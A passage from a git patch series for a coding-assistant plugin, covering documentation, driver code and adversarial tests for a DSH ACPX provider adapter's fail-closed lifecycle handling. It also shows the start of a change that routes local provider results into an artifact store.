`MODEL_API_KEY` / + `model-api-key`; `dsh-acp-ox-alpha.yml` + `OPENROUTER_API_KEY` / + `openrouter-api-key`) but resolves nothing by itself. +- Workspace: `workspace_mode: "managed"` at construction (required, no hidden + default), local managed worktree semantics anchored at the immutable run base + SHA. Direct mode fails closed with `direct_mode_rejected`. + +## Honest uncertainty + +ACPX provides no authoritative prompt-sent acknowledgement, so the capability +declaration is fixed to `dispatch_certainty: uncertain_after_spawn`, +`replay_posture: never_replay`, +`same_session_reply: unsupported_unresolved_attention`, +`create_pr_posture: prohibited`, and +`merge_authority: none_codex_only_integration`. Concretely: + +- A launch that reaches the spawn intent returns `dispatch_uncertain` even when + the port accepts the spawn. There is no `dispatched` result on this surface. +- Any post-intent exception or loss stays `dispatch_uncertain` and is never + replayed, retried, or fallback-substituted onto this or another transport; + the P17 lane state lands in a possibly-sent state so duplicate launches are + denied with `replay_denied`. +- Only a provably pre-spawn failure may report `not_sent`: either the failure + happens before the spawn call was ever made (for example a lost identity + probe), or the port throws an error carrying own data properties + `phase: "prespawn"` plus a bounded `code`. Getters, exotic prototypes, + subclasses, and partial markers are treated as unprovable and stay + uncertain. At most `DSH_MAX_LAUNCH_ATTEMPTS = 2` launch attempts exist per + lane; further attempts fail with `launch_budget_exceeded`. +- Same-session reply is unsupported. Reconcile surfaces pending questions as + `unresolved_attention`; the driver never answers them, never starts a + replacement prompt, and never opens a replacement session. + +## Injected bounded one-shot transport port + +`createDshApxDriverV1({ transport, workspace_mode, now? })` requires a plain +record exposing exactly five concrete synchronous functions (Proxies, accessors, +exotic prototypes, missing or extra operations are denied): + +| Operation | Argument (frozen, bounded) | Receipt (validated, closed keys) | +| ---------------- | ---------------------------------------------------------------------- | -------------------------------- | +| `configIdentity` | `{ model }` | `{ ready, reason?, config_path?, config_sha256?, credential_source?, credential_sha256? }` | +| `spawn` | `{ model, run_id, assignment_id, lane_index, base_sha, child_envelope_digest, envelope_text, attempted_at_ms }` | `{ session_ref, observed_at_ms? }` | +| `poll` | `{ session_ref, correlation }` where correlation restates the exact child identity | `{ ...correlation, session_ref, state, stop_reason?, question_ref?, event_count, cursor, updated_at_ms }` | +| `events` | `{ session_ref, correlation, cursor, max_records }` | `{ records: [{ seq, kind, bytes }], next_cursor, truncated }` | +| `cancel` | `{ session_ref, correlation }` | `{ ...correlation, session_ref, outcome }` | + +Recorded-evidence vocabulary the port must project raw ACPX output into: + +- `state`: `absent | accepted | running | needs_attention | completed | failed | + cancelled` +- `stop_reason` (terminal states only): `end_turn | cancelled | timeout | error` +- event `kind`: `text_delta | thought_delta | tool_call | tool_call_update | + status | usage | attention` +- cancel `outcome`: `confirmed | requested | already_terminal` + +Reconcile mapping: `accepted/running → in_progress`, `needs_attention → +unresolved_attention`, terminal states → `terminal`, everything else (including +lost evidence and intent-only lanes without a session handle) → +`dispatch_uncertain`. `restart_reattach` is reconcile-only recovery from +recorded evidence; missing evidence reports `restart_evidence_absent` and never +relaunches. + +## Fail-closed rules + +- Exact model/config/credential identity is probed again immediately before + spawn and on every reconcile/cancel. Drift of `config_path`, + `config_sha256`, `credential_source`, or `credential_sha256` fails closed + with `dsh_identity_drift` (or `dsh_identity_unavailable`); at launch this + happens before the spawn intent begins, so no half-dispatched lane can exist. +- Task/session correlation is checked per field on every poll/event/cancel + receipt (`run_id`, `assignment_id`, `lane_index`, `base_sha`, + `child_envelope_digest`, `model`, `session_ref`). Mismatch fails closed with + `dsh_correlation_mismatch`. +- Forged or malformed receipts (unknown states/kinds/outcomes, out-of-bound + integers, accessor properties, Proxies, sparse arrays, extra keys, own + undefined) fail closed with typed codes and leave the lane untouched. + Genuine probe loss degrades honestly instead: preflight blocks, reconcile + reports uncertainty, cancellation stays `dsh_cancel_unresolved` and may be + requested again because a cancellation is a control signal, not a prompt. + +## Bounds and telemetry hygiene + +`DSH_MAX_LANES=64`, `DSH_MAX_LANE_OPERATIONS=256`, +`DSH_MAX_LAUNCH_ATTEMPTS=2`, `DSH_MAX_RECORDED_EVENTS=1024`, +`DSH_MAX_EVENT_PAGE_RECORDS=64`, `DSH_MAX_EVENT_RECORD_BYTES=4096`, +`DSH_MAX_CURSOR=1e9`, session refs ≤128 bytes, clock readings within +`[0, 2100-01-01T00:00:00Z)` and monotonic per lane. Detail messages are +composed only from closed vocabulary words and validated integers (counts, +cursors, booleans, enumerated states); provider prompt, reply, question, or +event text can never reach a result, a detail pair, or an error message. + +## Coverage and non-claims + +Coverage lives in `test/r1-dsh-acpx-driver.test.mjs` (conformance, including +the unmodified P17 neutral contract suite) and +`test/r1-dsh-acpx-driver-adversarial.test.mjs` (hostile inputs, forged +receipts, bounds abuse, replay/substitution hostilities). + +This slice does NOT qualify a real transport. The module claims no durable +P19/P21 store, scheduler, registry cutover, or supervisor cutover, and holds +no merge/PR authority. + +## Surface for later real DSH Muse/Ox ACPX lifecycle conformance + +A real-transport qualification harness must supply a production port that: + +1. resolves the exact config file and credential per model (env first, then the + owner-only file), returning their sha256 digests and never the secret bytes; +2. spawns `acpx flow run ` one-shot with the exact envelope text as + the bounded input payload, returning a stable bounded `session_ref`; +3. projects recorded ACPX flow output (session records, NDJSON traces, exit + status) into the closed evidence/page/cancel receipts above, including + needs-attention detection with a bounded question ref; +4. performs tree-scoped cancellation and reports `confirmed` only after the + process group is observed stopped; +5. keeps every receipt free of provider-authored content beyond the closed + vocabulary, since the driver will deny anything else. diff --git a/docs/future-work.md b/docs/future-work.md index 1f20fe7..4327c03 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -18,9 +18,15 @@ fallback or replay, and Codex-only final acceptance. The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a pure contract and provider-agnostic conformance harness. It validates preflight/launch/reconcile/cancel requests and results against the -accepted P05 13-field capability bridge. It does not implement Grok, -Cursor Local, DSH, or Cursor Cloud transports, registry cutover, -scheduler, or durable store; those remain P18/P20/P19/P21 and later +accepted P05 13-field capability bridge. The P20 DSH adapter +(`DshApxDriverV1`) now drives that contract over an injected bounded +ACPX one-shot transport port for Muse Spark 1.2 Contributor and Ox +Alpha, with honest post-spawn uncertainty, unsupported same-session +reply, bounded recorded-evidence reconcile/restart/cancel behavior, and +fail-closed identity/correlation drift denials; it qualifies no real +transport (see `docs/dsh-acpx-driver.md`). No implementation exists for +Grok, Cursor Local, or Cursor Cloud driver transports, registry cutover, +scheduler, or durable store; those remain P18/P19/P21 and later run-runtime work. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. Gate A remains the functional release authority; Gate B context-efficiency and Gate C From c9770850899ca3f426752f0eec6b7f688abee9b7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 23:31:07 +0000 Subject: [PATCH 28/81] fix(provider): make DSH terminal evidence absorbing --- .../mcp/v3/dsh-acpx-driver.mjs | 136 ++++++++++-- .../r1-dsh-acpx-driver-adversarial.test.mjs | 197 ++++++++++++++++++ .../test/r1-dsh-acpx-driver.test.mjs | 62 ++++++ 3 files changed, 378 insertions(+), 17 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs index dbd775d..d92be67 100644 --- a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs @@ -131,6 +131,19 @@ export const DSH_EVIDENCE_STATES = capturedFreeze([ export const DSH_TERMINAL_EVIDENCE_STATES = capturedFreeze([ 'completed', 'failed', 'cancelled', ]); +// Hostile non-terminal poll states after a terminal latch. Reconcile must +// never map these back to in_progress, dispatch_uncertain, or +// unresolved_attention once completed/failed/cancelled or +// cancel_confirmed/already_terminal has been observed on the lane. +// Later cancel after any of those latches is a local already_terminal +// result and must not probe the injected port. cancel_requested stays +// nonterminal so a later cancel may still be delivered. +const DSH_POST_TERMINAL_REGRESSION_STATES = capturedFreeze([ + 'accepted', 'running', 'needs_attention', 'absent', +]); +const DSH_TERMINAL_CANCEL_OUTCOMES = capturedFreeze([ + 'confirmed', 'already_terminal', +]); export const DSH_STOP_REASONS = capturedFreeze(['end_turn', 'cancelled', 'timeout', 'error']); export const DSH_EVENT_KINDS = capturedFreeze([ 'text_delta', 'thought_delta', 'tool_call', 'tool_call_update', @@ -726,6 +739,50 @@ export function createDshApxDriverV1(options) { } } + function hasTerminalLatch(lane) { + return lane.terminal_latch !== null && lane.terminal_latch !== undefined; + } + + function evidenceLatch(evidence) { + return freezeData({ + kind: 'evidence', + state: evidence.state, + stop_reason: evidence.stop_reason, + }); + } + + function cancelLatch(outcome) { + return freezeData({ kind: 'cancel', outcome }); + } + + function denyTerminalRegression(operation) { + fail('terminal_regression_denied', `driver.${operation}.request`, + 'Recorded ACPX evidence moved backwards from a latched terminal disposition; ' + + 'terminal regressions fail closed.'); + } + + function latchedTerminalResult(operation, request, envelope, lane, includeCount) { + const terminal = baseResult(operation, request, envelope, 'terminal'); + if (!includeCount) return terminal; + const latch = lane.terminal_latch; + const extra = latch.kind === 'evidence' + ? [ + `state=${latch.state}`, + ...(latch.stop_reason ? [`stop_reason=${latch.stop_reason}`] : []), + ] + : [`outcome=${latch.outcome}`]; + return withDetail(terminal, 'terminal_evidence', [...extra, ...progressFragments(lane)]); + } + + function localAlreadyTerminalCancel(request, envelope, lane, timestamp) { + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + return withDetail( + baseResult('cancel', request, envelope, 'already_terminal'), + 'already_terminal', + ['outcome=already_terminal'], + ); + } + function readIdentityOrBlocked(request, envelope, model) { try { return { identity: currentIdentity(model, 'preflight'), error: null }; @@ -779,6 +836,7 @@ export function createDshApxDriverV1(options) { observed_at_ms: Math.max(prior?.observed_at_ms ?? timestamp, timestamp), operation_count: (prior?.operation_count ?? 0) + 1, run_id: envelope.run_id, + terminal_latch: prior?.terminal_latch ?? null, })); return baseResult(operation, request, envelope, 'ready'); } @@ -851,7 +909,7 @@ export function createDshApxDriverV1(options) { }, timestamp)); if (provablyPrespawn) { return withDetail(baseResult(operation, request, envelope, 'not_sent'), - 'transport_prespawn_denied', [`code=${optOwn(error, 'code')}`]); + 'transport_prespawn_denied', ['probe=spawn', `model=${model}`]); } // Exception or loss after spawn intent stays dispatch_uncertain forever: // never replayed, retried, or fallback-substituted. @@ -896,12 +954,23 @@ export function createDshApxDriverV1(options) { beginOperation(lane, operation, timestamp); requireDispatch(lane, operation); const includeCount = Array.isArray(request.include) ? request.include.length : 0; + + function commit(updatedLane, patch) { + const next = advance(updatedLane, patch, timestamp); + lanes.set(laneKey(envelope), next); + return next; + } + if (lane.dispatch.session_ref === null) { // An intent-only lane carries no session handle: nothing can be // observed or correlated, so honesty stays at uncertainty and no // doomed transport call is made. The child is never replayed to - // recover a handle. - lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + // recover a handle. A latched terminal disposition is retained + // instead of degrading back to uncertainty. + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(lane, {}), includeCount); + } + commit(lane, {}); const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); return includeCount ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) @@ -910,7 +979,9 @@ export function createDshApxDriverV1(options) { // Exact identity must hold on every observation too: credential or config // DRIFT fails the observation closed with a typed error below, while a - // lost identity/evidence probe degrades honestly to uncertainty. + // lost identity/evidence probe degrades honestly to uncertainty unless a + // terminal latch already exists. After terminal evidence, uncertainty is + // denied; the latched terminal disposition is retained instead. let evidence; try { const identity = currentIdentity(model, operation); @@ -921,19 +992,47 @@ export function createDshApxDriverV1(options) { })), lane); } catch (error) { if (isTypedContractError(error)) throw error; + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(lane, {}), includeCount); + } // Loss or exception during observation degrades honestly to uncertainty. // It never invents a terminal state and never replays the child. - lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + commit(lane, {}); const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); return includeCount ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) : uncertain; } + // Hostile running/accepted/absent/needs_attention after a terminal latch + // fails closed with one typed regression. The lane is left untouched so + // no second spawn, provider/model substitution, or attention answer can + // follow from the denied observation. + if (hasTerminalLatch(lane) && capturedIncludes(DSH_POST_TERMINAL_REGRESSION_STATES, evidence.state)) { + denyTerminalRegression(operation); + } + const updated = applyEventPage(lane, includeCount, operation); - lanes.set(laneKey(envelope), advance(updated, {}, timestamp)); const progress = progressFragments(updated); + if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { + const latch = hasTerminalLatch(lane) ? lane.terminal_latch : evidenceLatch(evidence); + commit(updated, { terminal_latch: latch }); + const terminal = baseResult(operation, request, envelope, 'terminal'); + return includeCount + ? withDetail(terminal, 'terminal_evidence', [ + `state=${evidence.state}`, + ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), + ...progress, + ]) + : terminal; + } + + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(updated, {}), includeCount); + } + + commit(updated, {}); if (evidence.state === 'absent') { const code = request.intent === 'restart_reattach' ? 'restart_evidence_absent' @@ -949,16 +1048,6 @@ export function createDshApxDriverV1(options) { ? withDetail(attention, 'unresolved_attention', [...progress, 'same_session_reply=unsupported']) : attention; } - if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { - const terminal = baseResult(operation, request, envelope, 'terminal'); - return includeCount - ? withDetail(terminal, 'terminal_evidence', [ - `state=${evidence.state}`, - ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), - ...progress, - ]) - : terminal; - } const running = baseResult(operation, request, envelope, 'in_progress'); return includeCount ? withDetail(running, 'live_progress', progress) : running; } @@ -973,6 +1062,15 @@ export function createDshApxDriverV1(options) { const timestamp = nowMs(operation); beginOperation(lane, operation, timestamp); requireDispatch(lane, operation); + // After completed/failed/cancelled evidence or a confirmed/ + // already_terminal cancel, every later cancel is a local + // already_terminal result. The injected port is not probed again: + // no configIdentity, cancel, poll, events, spawn, reply, or reattach. + // cancel_requested is not a terminal latch, so a later cancel may + // still be delivered as a control signal. + if (hasTerminalLatch(lane)) { + return localAlreadyTerminalCancel(request, envelope, lane, timestamp); + } if (lane.dispatch.session_ref === null) { fail('dsh_cancel_unresolved', `driver.${operation}.request`, 'This DSH lane holds only an unconfirmed spawn intent and no session handle; ' @@ -998,7 +1096,11 @@ export function createDshApxDriverV1(options) { 'The DSH cancellation request could not be resolved; the lane stays untouched ' + 'and cancellation may be requested again without any replay.'); } - lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const latchWorthy = capturedIncludes(DSH_TERMINAL_CANCEL_OUTCOMES, receipt.outcome); + const terminalLatch = latchWorthy + ? (hasTerminalLatch(lane) ? lane.terminal_latch : cancelLatch(receipt.outcome)) + : lane.terminal_latch ?? null; + lanes.set(laneKey(envelope), advance(lane, { terminal_latch: terminalLatch }, timestamp)); const disposition = receipt.outcome === 'confirmed' ? 'cancel_confirmed' : receipt.outcome === 'requested' ? 'cancel_requested' : 'already_terminal'; diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs index a90946a..47b42ec 100644 --- a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs @@ -447,6 +447,203 @@ test('the ox-alpha lane rejects muse-model evidence and vice versa', () => { } }); +test('latched terminal evidence denies the exact hostile non-terminal regressions', () => { + const sequences = [ + { + label: 'completed->running', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'running' }, + }, + { + label: 'completed->absent', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'absent' }, + }, + { + label: 'failed->running', + terminal: { kind: 'reconcile', receipt: { state: 'failed', stop_reason: 'error' } }, + hostile: { state: 'running' }, + }, + { + label: 'cancelled->accepted', + terminal: { kind: 'reconcile', receipt: { state: 'cancelled', stop_reason: 'cancelled' } }, + hostile: { state: 'accepted' }, + }, + { + label: 'completed->needs_attention', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'needs_attention', question_ref: `q-${LEAK_MARKER}` }, + }, + { + label: 'cancel_confirmed->running', + terminal: { kind: 'cancel', receipt: { outcome: 'confirmed' } }, + hostile: { state: 'running' }, + }, + { + label: 'already_terminal->running', + terminal: { kind: 'cancel', receipt: { outcome: 'already_terminal' } }, + hostile: { state: 'running' }, + }, + ]; + for (const sequence of sequences) { + const transport = sequence.terminal.kind === 'reconcile' + ? fakeDshTransport({ polls: [sequence.terminal.receipt, sequence.hostile] }) + : fakeDshTransport({ + cancelReceipts: [sequence.terminal.receipt], + polls: [sequence.hostile], + }); + const fixture = dshEnvelope(MUSE_MODEL); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + if (sequence.terminal.kind === 'reconcile') { + const first = lane.reconcile(); + assert.equal(first.disposition, 'terminal', sequence.label); + assert.notEqual(first.disposition, 'in_progress', sequence.label); + assert.notEqual(first.disposition, 'dispatch_uncertain', sequence.label); + assert.notEqual(first.disposition, 'unresolved_attention', sequence.label); + } else { + const first = lane.cancel(); + const expected = sequence.terminal.receipt.outcome === 'confirmed' + ? 'cancel_confirmed' : 'already_terminal'; + assert.equal(first.disposition, expected, sequence.label); + } + const eventsBefore = transport.counts().events; + expectCode(() => lane.reconcile({ include: ['live_progress'] }), + 'terminal_regression_denied', sequence.label); + expectCode(() => lane.launchAgain(), 'replay_denied', sequence.label); + const oxManifest = JSON.parse(JSON.stringify(dshManifest(OX_MODEL))); + oxManifest.assignments[0].assignment_id = fixture.assignment_id; + const oxEnvelope = compileChildEnvelopeV1(oxManifest, fixture.assignment_id); + expectCode(() => driver.driver.preflight(requestFor({ + ...fixture, + envelope_text: oxEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(oxEnvelope).digest, + }, 'preflight')), 'stale_identity_denied', sequence.label); + expectCode(() => lane.reconcile({ + include: ['live_progress'], + intent: 'restart_reattach', + reply: { session_id: 's', response: 'answered' }, + }), undefined, `${sequence.label} replacement prompt/answer is denied`); + assert.equal(transport.counts().spawn, 1, `${sequence.label} must not spawn again`); + assert.equal(transport.counts().events, eventsBefore, + `${sequence.label} must not read events or answer attention after the regression`); + } +}); + +test('post-terminal cancel is local already_terminal even if the port would throw', () => { + const sequences = [ + { + label: 'completed then cancel', + kind: 'reconcile', + poll: { state: 'completed', stop_reason: 'end_turn' }, + }, + { + label: 'failed then cancel', + kind: 'reconcile', + poll: { state: 'failed', stop_reason: 'error' }, + }, + { + label: 'cancelled then cancel', + kind: 'reconcile', + poll: { state: 'cancelled', stop_reason: 'cancelled' }, + }, + { + label: 'cancel_confirmed then cancel', + kind: 'cancel', + cancelOutcome: 'confirmed', + }, + { + label: 'provider already_terminal then cancel', + kind: 'cancel', + cancelOutcome: 'already_terminal', + }, + ]; + for (const sequence of sequences) { + let sealed = false; + const denySealed = (channel) => { + if (sealed) throw new Error(`${sequence.label} must not call ${channel}`); + }; + const transport = fakeDshTransport({ + identity: () => { + denySealed('configIdentity'); + return readyIdentity(); + }, + spawnReceipts: [() => { + denySealed('spawn'); + return { session_ref: 'sess-ok-0001' }; + }], + polls: [(request) => { + denySealed('poll'); + return { + session_ref: request.session_ref, ...request.correlation, + event_count: 1, cursor: 1, updated_at_ms: 10, + ...sequence.poll, + }; + }], + eventPages: [(request) => { + denySealed('events'); + return { records: [], next_cursor: request.cursor, truncated: false }; + }], + cancelReceipts: [(request) => { + denySealed('cancel'); + return { + session_ref: request.session_ref, ...request.correlation, + outcome: sequence.cancelOutcome ?? 'confirmed', + }; + }], + }); + const fixture = dshEnvelope(MUSE_MODEL); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + if (sequence.kind === 'reconcile') { + assert.equal(lane.reconcile().disposition, 'terminal', sequence.label); + } else { + const expected = sequence.cancelOutcome === 'confirmed' + ? 'cancel_confirmed' : 'already_terminal'; + assert.equal(lane.cancel().disposition, expected, sequence.label); + } + const before = transport.counts(); + sealed = true; + const later = lane.cancel(); + assert.equal(later.disposition, 'already_terminal', sequence.label); + assert.equal(later.detail_code, 'already_terminal', sequence.label); + assert.deepEqual(transport.counts(), before, + `${sequence.label} must make zero configIdentity/cancel/poll/events/spawn calls`); + expectCode(() => lane.launchAgain(), 'replay_denied', sequence.label); + } +}); + +test('cancel_requested is not a terminal latch and a later cancel still hits the port', () => { + let sealed = false; + const outcomes = ['requested', 'confirmed']; + const transport = fakeDshTransport({ + identity: () => { + if (sealed) throw new Error('cancel_requested must not skip identity'); + return readyIdentity(); + }, + cancelReceipts: [(request, callIndex) => { + if (sealed) throw new Error('cancel_requested must not skip cancel'); + return { + session_ref: request.session_ref, ...request.correlation, + outcome: outcomes[Math.min(callIndex - 1, outcomes.length - 1)], + }; + }], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.cancel().disposition, 'cancel_requested'); + const afterRequested = transport.counts(); + const second = lane.cancel(); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transport.counts().cancel, afterRequested.cancel + 1); + assert.equal(transport.counts().configIdentity, afterRequested.configIdentity + 1); + sealed = true; + const beforeLocal = transport.counts(); + const third = lane.cancel(); + assert.equal(third.disposition, 'already_terminal'); + assert.deepEqual(transport.counts(), beforeLocal); +}); + test('results never carry provider-authored text even from deeply hostile transports', () => { const fixture = dshEnvelope(MUSE_MODEL); const hostileText = `${LEAK_MARKER} token sk-abc123defghijk password=hunter2 AKIAIOSFODNN7EXAMPLE`; diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs index c1659d0..2062fd1 100644 --- a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs @@ -336,6 +336,64 @@ test('cancellation maps confirmed/requested/already_terminal outcomes with bound } }); +test('reconcile-terminal then cancel is local already_terminal with zero transport', () => { + const terminals = [ + { state: 'completed', stop_reason: 'end_turn' }, + { state: 'failed', stop_reason: 'error' }, + { state: 'cancelled', stop_reason: 'cancelled' }, + ]; + for (const receipt of terminals) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.reconcile(); + assert.equal(first.disposition, 'terminal', receipt.state); + const before = transport.counts(); + const result = lane.cancel(); + assert.equal(result.disposition, 'already_terminal', receipt.state); + assert.equal(result.detail_code, 'already_terminal', receipt.state); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.deepEqual(transport.counts(), before, + `${receipt.state} later cancel must not call configIdentity/cancel/poll/events/spawn`); + } +}); + +test('repeated confirmed cancel is local already_terminal with zero further transport', () => { + const transport = fakeDshTransport({ cancelReceipts: [{ outcome: 'confirmed' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.cancel(); + assert.equal(first.disposition, 'cancel_confirmed'); + const before = transport.counts(); + assert.equal(before.cancel, 1); + const second = lane.cancel(); + assert.equal(second.disposition, 'already_terminal'); + assert.equal(second.detail_code, 'already_terminal'); + assert.match(second.detail_message, CONTENT_FREE_DETAIL); + assert.deepEqual(transport.counts(), before, + 'repeated confirmed cancel must not call configIdentity/cancel/poll/events/spawn'); +}); + +test('cancel_requested remains nonterminal so a later cancel still reaches the port', () => { + const transport = fakeDshTransport({ + cancelReceipts: [{ outcome: 'requested' }, { outcome: 'confirmed' }], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.cancel(); + assert.equal(first.disposition, 'cancel_requested'); + const afterRequested = transport.counts(); + const second = lane.cancel(); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transport.counts().cancel, afterRequested.cancel + 1); + assert.equal(transport.counts().configIdentity, afterRequested.configIdentity + 1); + const afterConfirmed = transport.counts(); + const third = lane.cancel(); + assert.equal(third.disposition, 'already_terminal'); + assert.deepEqual(transport.counts(), afterConfirmed, + 'cancel after cancel_confirmed must not call the injected port'); +}); + test('duplicate launch after any launch observation fails closed as a replay', () => { const transport = fakeDshTransport(); const driver = createFixtureDriver(MUSE_MODEL, transport); @@ -355,6 +413,10 @@ test('a provably pre-spawn failure reports not_sent and permits exactly one more const lane = dispatchLane(driver.driver, fixture); assert.equal(lane.launch.disposition, 'not_sent'); assert.equal(lane.launch.detail_code, 'transport_prespawn_denied'); + assert.match(lane.launch.detail_message, CONTENT_FREE_DETAIL); + assert.equal(lane.launch.detail_message.includes('probe=spawn'), true); + assert.equal(lane.launch.detail_message.includes('port_denied'), false); + assert.equal(lane.launch.detail_message.includes('code='), false); // One retry is allowed because the prompt provably never went out. const recovering = fakeDshTransport(); From 86fc0c4fabfdd0eecffca8c585a00b0d5547a3b9 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:11:15 +0000 Subject: [PATCH 29/81] feat(provider): route local ACP results to artifacts Add a provider-neutral P11 sink that publishes complete Grok, Cursor Local, and DSH ACPX/CLI final output through the accepted P09 sanitizer and P08 store under exact run/child/provider/model identity. Empty results stay unpublished. Class-cap overflow, verify failure, and hostile sources fail closed without reporting an artifact. The ACP worker attaches detached content-free metadata only after provider terminal publication so a sink failure cannot invent completion or replay work. --- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 54 +- .../mcp/v3/local-provider-result-sink.mjs | 699 ++++++++++++++++++ 2 files changed, 750 insertions(+), 3 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index f715105..d1e1788 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -7,6 +7,14 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + collectCliProviderOutputV1, + contentFreeSinkFailureV1, + createLocalProviderResultCollectorV1, + localProviderResultIdentityFromTaskV1, + openLocalProviderArtifactStoreV1, + sinkLocalProviderResultV1, +} from './local-provider-result-sink.mjs'; import { recordNeedsAttention, replyDecision, waitForReply } from './mailbox.mjs'; import { boundedProviderResult, boundedProviderValue, createProviderResultAccumulator, providerCharCount } from './provider-result.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; @@ -59,6 +67,38 @@ function fail(code, message) { throw new AcpWorkerError(code, message); } +function sinkSourceFromCollector(collector) { + const snapshot = collector.snapshot(); + if (snapshot.overflow === true) { + throw new AcpWorkerError( + 'artifact_stream_over_cap', + 'The provider result exceeded the raw artifact class cap; nothing was published.', + ); + } + return snapshot.source; +} + +async function attachLocalProviderResultSink(root, task, source, sourceTruncated = false) { + const identity = localProviderResultIdentityFromTaskV1(task); + if (identity == null) return task; + try { + const store = await openLocalProviderArtifactStoreV1(root); + const receipt = await sinkLocalProviderResultV1(store, { + ...identity, + source, + source_truncated: sourceTruncated === true, + }); + return await updateTask(root, task.id, { provider_result_sink: receipt }); + } catch (error) { + const evidence = contentFreeSinkFailureV1(error); + try { + return await updateTask(root, task.id, { provider_result_sink: evidence }); + } catch { + return task; + } + } +} + function taskTimeoutMs(task, now = Date.now()) { const deadline = Date.parse(task?.deadline_at ?? ''); if (Number.isFinite(deadline)) return Math.max(1, deadline - now); @@ -619,7 +659,7 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { const compact = { type: 'text_delta', text: result ?? 'CLI fallback completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed' }); - return updateTask(root, task.id, { + const terminal = await updateTask(root, task.id, { status: 'completed', result, ...Object.fromEntries(Object.entries(bounded).filter(([key]) => key.startsWith('result_'))), @@ -629,6 +669,9 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { fallback_safe: false, finished_at: new Date().toISOString(), }); + return attachLocalProviderResultSink( + root, terminal, collectCliProviderOutputV1(stdout), stdoutTruncated, + ); } catch (error) { const failure = publicError(error, prompt); const terminalStatus = signal?.aborted || error?.code === 'cancelled' @@ -771,7 +814,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s const compact = { type: 'text_delta', text: typeof output === 'string' ? output : 'DSH ACP task completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed', stop_reason: 'end_turn' }); - return updateTask(root, task.id, { + const terminal = await updateTask(root, task.id, { status: 'completed', error: null, stop_reason: 'end_turn', @@ -783,6 +826,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s acp_session_id: Object.values(flow.sessionBindings ?? {})[0]?.acpSessionId ?? null, finished_at: new Date().toISOString(), }); + return 